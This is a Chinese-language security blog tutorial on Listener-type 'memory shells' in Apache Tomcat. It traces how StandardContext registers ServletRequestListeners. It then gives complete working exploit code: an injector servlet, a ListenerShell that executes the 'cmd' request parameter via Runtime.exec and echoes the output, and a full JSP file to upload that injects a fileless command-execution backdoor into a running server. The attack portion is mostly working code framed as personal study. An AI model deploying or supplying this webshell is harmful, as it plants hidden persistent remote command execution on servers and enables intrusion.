内存马系列--Listener型

参考文章:

内存马可以实现落地无文件,有很强的隐蔽性,但是攻击方式比较局限,只能文件上传。相较于反序列化的话,反序列化的危害性要强的多的多。

我的理解:内存马依赖于漏洞点,首先得有漏洞点(不只限于反序列化漏洞。只要一个漏洞能让你在服务器上执行 Java 代码(RCE),你就可以注入内存马),然后通过漏洞点将🐎打进去,这样的话会更加隐蔽。就拿反序列化来说,有这类的漏洞exp往往包含着大量的类名,特征比较明显,容易被防火墙防护;反序列化发送payloade过去是到达服务器,客户端看不到回显;官方修复的时候稍微改改逻辑或者限制一下类名,链子可能就不能用了。

话不多说,我们现在开始学习Listener型内存马。之前在前文基础内容里面已经提过了 Tomcat 的一些架构知识,这里的话就不再赘述,简单写一下 Listener 的基础知识。

Listener 基础知识

Java Web 开发中的Listener(监听器) 是一个实现了特定接口的 Java 程序,它用于监听 Web 应用内部的对象(如 ServletContext、HttpSession、ServletRequest)的创建、销毁或属性修改等动作。

当这些事件发生时,Web 容器(如 Tomcat)会自动调用监听器中对应的方法,从而实现某种功能,比如统计在线人数、初始化资源或记录访问日志。

用途:

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Listener 三个域对象:

  • ServletContextListener(应用启动与销毁时)
  • HttpSessionListener(Session 创建与销毁时)
  • ServletRequestListener(每次请求进入和结束时)

很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。

Listener 基础代码实现

和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样,我们直接在之前创建好的 Servlet 项目里面进行操作

要求 Listener 的业务对象要实现 EventListener 这个接口

我们可以先去看一下 EventListener 这个接口

image-20260407213446503

它有非常多的实现类,如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener(我们去寻找的时候一定是优先找 Servlet 开头的类)

这里找到了 ServletRequestListener ,因为根据名字以及其中的 requestInitialized() 方法感觉我们的发送的每个请求都会触发这个监控器。

image-20260407213829054

这里我们尝试自己写一个 Listener,并进行测试。

因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Listener;  
  
import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;  
import javax.servlet.annotation.WebListener;  
import java.util.EventListener;  
  
@WebListener("/listenerTest")  
public class ListenerTest implements ServletRequestListener {  
  
    public ListenerTest(){  
    }  
  
    @Override  
 public void requestDestroyed(ServletRequestEvent sre) {  
  
    }  
  
    @Override  
 public void requestInitialized(ServletRequestEvent sre) {  
        System.out.println("Listener 被调用");  
 }  
}

image-20260407214403672

改一下web.xml

1
2
3
<listener>  
 <listener-class>Listener.ListenerTest</listener-class>  
</listener>

image-20260407214518179

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程

Listener 流程分析

主要解决两个问题:

  • 我们的恶意代码应该在哪儿编写?
  • Tomcat 中的 Listener 是如何实现注册的?

访问Listener 前

先读取 web.xml

  • 在启动应用的时候,ContextConfig 类会去读取配置文件,所以我们去到 ContextConfig 这个类里面找一下哪个方法是来读取配置文件的。就找到了 configureContext() 方法(这个方法会调用了 web.xml,把 web.xml 作为参数传进去,然后进行调用的)

    image-20260408163655384

    作用:它的任务是将已经读取并解析好的 web.xml 文件内容(封装在 WebXml 对象中),正式填充(配置)到 Tomcat 的运行时上下文 StandardContext(即代码中的 context 对象)里。

    是 Tomcat 启动时,将“静态配置”转化为“内存中运行组件”的关键过程。

    还将web.xml里面的组件(filter,listener)配到了里面

  • 这里我们最关注的当然是listener

    image-20260408164331317

    可以在这块打个断点标记一下

  • 我们接下来再看读取listerner提及的addApplicationListener()

    image-20260408164459117

    进去之后发现是一个接口中的方法,我们去找它的实现方法

    image-20260408164608160

    进去第一个 FailedContext 类里面的 addApplicationListener() 是没东西的,所以东西在 StandContext 里面。

开始调试:

  • 第一步,直接获取到 web.xml

    image-20260408200427919

    我们看到 webxml 里面的 listener 已经有了对应的 Listener 文件,继续往下走。

  • 下一步应该是走到 addApplicationListener() 这里

    image-20260408200950053

读取完配置文件,加载 Listener

  • 当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

    image-20260408201229463

    标记的那一句

    1
    String listeners[] = findApplicationListeners();

    简单说,就是把之前的 Listener 存到这里面

Listener 运行过程

  • 先下在 requestInitialized() 方法这里的能看到调用链(代码是“自下而上”执行的)

    image-20260408202554193

    能看到fireRequestInitEvent是在StandardContext的方法(StandardContext里面有触发点)

    说白了就是要看fireRequestInitEvent

  • 断在fireRequestInitEvent里面

    先进到 getApplicationEventListeners() 方法里面

    image-20260408204044732其实就是在获取一个 Listener 数组

    image-20260408204202167

    看一下 applicationEventListenersList 是什么,其实Listener 实际上是存储在 applicationEventListenersList 属性中的。

    image-20260408204612280

    而且我们可以通过StandardContext#addApplicationEventListener() 方法来添加 Listener

    image-20260408204724988

  • 接下来的逻辑就和Filter 差不多了,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的 requestInitialized() 方法去。

    image-20260408204906780

小结

在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载(listenerStart());加载完毕之后会进行逐个读取,对每一个 Listener,都会到 requestInitialized() 方法进去。

Listner 型内存马 EXP 编写

EXP分析

先来梳理一下流程

  • 恶意代码肯定是写在对应 Listener 的 requestInitialized() 方法里面
  • 要通过 StandardContext 类的 addApplicationEventListener() 方法把恶意的 Listener 放进去
  • 其他就是和filter类似的,把 Listener 先放到整个 Servlet 最前面去就好

反射StandardContext ;接下来放恶意的 Listener,恶意代码逻辑编写写在 requestInitialized触发;

img

EXP编写

  • 编写恶意的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();
    
                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
  • 获取 StandardContext 的代码,并且添加 Listener

    (这个地方反射StandardContext 可不能用前面filter那一套了,需要的东西不一样)

    在 StandardHostValve#invoke 中,可以看到其通过request对象来获取 StandardContext 类

    image-20260408212649575

    同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取(这一步还是挺省事滴)

    1
    2
    3
    4
    5
    6
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();
    %>
  • 编写一个恶意的Listener

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <%!
        public class Shell_Listener implements ServletRequestListener {
     
            public void requestInitialized(ServletRequestEvent sre) {
                HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
                String cmd = request.getParameter("cmd");
                if (cmd != null) {
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (IOException e) {
                        e.printStackTrace();
                    } catch (NullPointerException n) {
                        n.printStackTrace();
                    }
                }
            }
     
            public void requestDestroyed(ServletRequestEvent sre) {
            }
        }
    %>
  • 最后添加监听器

    1
    2
    3
    4
    <%
    	Shell_Listener shell_Listener = new Shell_Listener();
        context.addApplicationEventListener(shell_Listener);
    %>

最终 EXP

内存马

ListenerInjector(链条逻辑实现)

反射获取 StandardContext,实例化恶意 Listener,接下来直接调用 standardContext.addApplicationEventListener(shell),添加恶意的Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package Listener;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

@WebServlet("/injectListener")
public class ListenerInjector extends HttpServlet {

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            // 1. 反射获取 StandardContext (逻辑和你 Filter 那个一致)
            ServletContext servletContext = request.getServletContext();
            Field appctxField = servletContext.getClass().getDeclaredField("context");
            appctxField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext);

            Field stdctxField = applicationContext.getClass().getDeclaredField("context");
            stdctxField.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);

            // 2. 检查是否已经注入过,避免重复注入导致内存炸掉
            Object[] listeners = standardContext.getApplicationEventListeners();
            boolean isInjected = false;
            for (Object l : listeners) {
                if (l.getClass().getName().contains("ListenerShell")) {
                    isInjected = true;
                    break;
                }
            }

            if (!isInjected) {
                // 3. 实例化你的恶意 Listener
                // 注意:这里建议用你之前写的那个带 RCE 逻辑的 ListenerShell
                ListenerShell shell = new ListenerShell();

                // 4. 调用 Tomcat 的 API 强行插入
                standardContext.addApplicationEventListener(shell);

                response.getWriter().write("Successfully Injected Listener Shell!");
            } else {
                response.getWriter().write("Listener Shell already exists.");
            }

        } catch (Exception e) {
            e.printStackTrace();
            response.getWriter().write("Injection Failed: " + e.getMessage());
        }
    }
}

ListenerShell(恶意代码填装)

写入cmd判别攻击的逻辑+回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

@WebListener
public class ListenerShell implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();
        String cmd = req.getParameter("cmd");

        // 1. 增加非空判断,防止干扰正常请求
        if (cmd != null && !cmd.isEmpty()) {
            try {
                // 2. 获取 Response
                HttpServletResponse resp = this.getResponseFromRequest(req);
                if (resp != null) {
                    String result = this.CommandExec(cmd);
                    // 3. 解决回显内容乱码或缺失
                    resp.getWriter().println(result);
                    resp.getWriter().flush();
                    // 4. 这里的控制台输出可以确认是否触发成功
                    System.out.println("Success! Executed: " + cmd);
                }
            } catch (Exception e) {
                e.printStackTrace(); // 实验阶段一定要打印报错!
            }
        }
    }
    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        InputStream stderr =  proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(stderr);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuffer sb = new StringBuffer();
        while ((line = br.readLine()) != null) {
            sb.append(line + "\n");
        }
        return sb.toString();
    }

    public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
        try {
            // 1. 从 RequestFacade 拿到 org.apache.catalina.connector.Request
            Field reqField = var1.getClass().getDeclaredField("request");
            reqField.setAccessible(true);
            Object connectorRequest = reqField.get(var1);

            // 2. 从 connector.Request 拿到 connector.Response
            Field respField = connectorRequest.getClass().getDeclaredField("response");
            respField.setAccessible(true);
            Object connectorResponse = respField.get(connectorRequest);

            // 3. 返回真正的 HttpServletResponse 接口对象
            return (HttpServletResponse) connectorResponse.getClass().getMethod("getResponse").invoke(connectorResponse);
        } catch (Exception e) {
            // 如果失败,尝试最暴力的方式:从线程上下文拿(进阶技巧)
            return null;
        }
    }


}

image-20260410152315532

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="java.util.List" %>  
<%@ page import="java.util.Arrays" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.util.ArrayList" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="org.apache.catalina.connector.Response" %>  
<%!  
  
    class ListenerMemShell implements ServletRequestListener {  
  
        @Override  
        public void requestInitialized(ServletRequestEvent sre) {  
            String cmd;  
            try {  
                cmd = sre.getServletRequest().getParameter("cmd");  
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();  
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");  
                requestField.setAccessible(true);  
                Request request = (Request) requestField.get(requestFacade);  
                Response response = request.getResponse();  
  
                if (cmd != null){  
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();  
                    int i = 0;  
                    byte[] bytes = new byte[1024];  
                    while ((i=inputStream.read(bytes)) != -1){  
                        response.getWriter().write(new String(bytes,0,i));  
                        response.getWriter().write("\r\n");  
                    }  
                }  
            }catch (Exception e){  
                e.printStackTrace();  
            }  
        }  
  
        @Override  
        public void requestDestroyed(ServletRequestEvent sre) {  
        }  
    }  
%>  
  
<%  
    ServletContext servletContext =  request.getServletContext();  
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");  
    applicationContextField.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);  
  
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");  
    standardContextField.setAccessible(true);  
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);  
  
	//获取当前应用已有的 Listener 列表。
	//转成 ArrayList 并新增一个 ListenerMemShell 对象
	//调用 setApplicationEventListeners() 覆盖原来的监听器数组,把内存马 Listener 注入进去了
    Object[] objects = standardContext.getApplicationEventListeners();  
    List<Object> listeners = Arrays.asList(objects);  
    List<Object> arrayList = new ArrayList(listeners);  
    arrayList.add(new ListenerMemShell());  
    standardContext.setApplicationEventListeners(arrayList.toArray());  
  
%>

image-20260409110415120

image-20260409110422933

小结

Listener 型内存马比 Filter 型内存马的实现更为简易的多,从难度上来说,可以把 Listener 型内存马需要实现的步骤看成是 Filter 型内存马的一部分。


内存马系列--Listener型
http://example.com/2026/04/12/内存马系列--Listener型/
作者
Piggy Sprint
发布于
2026年4月12日
许可协议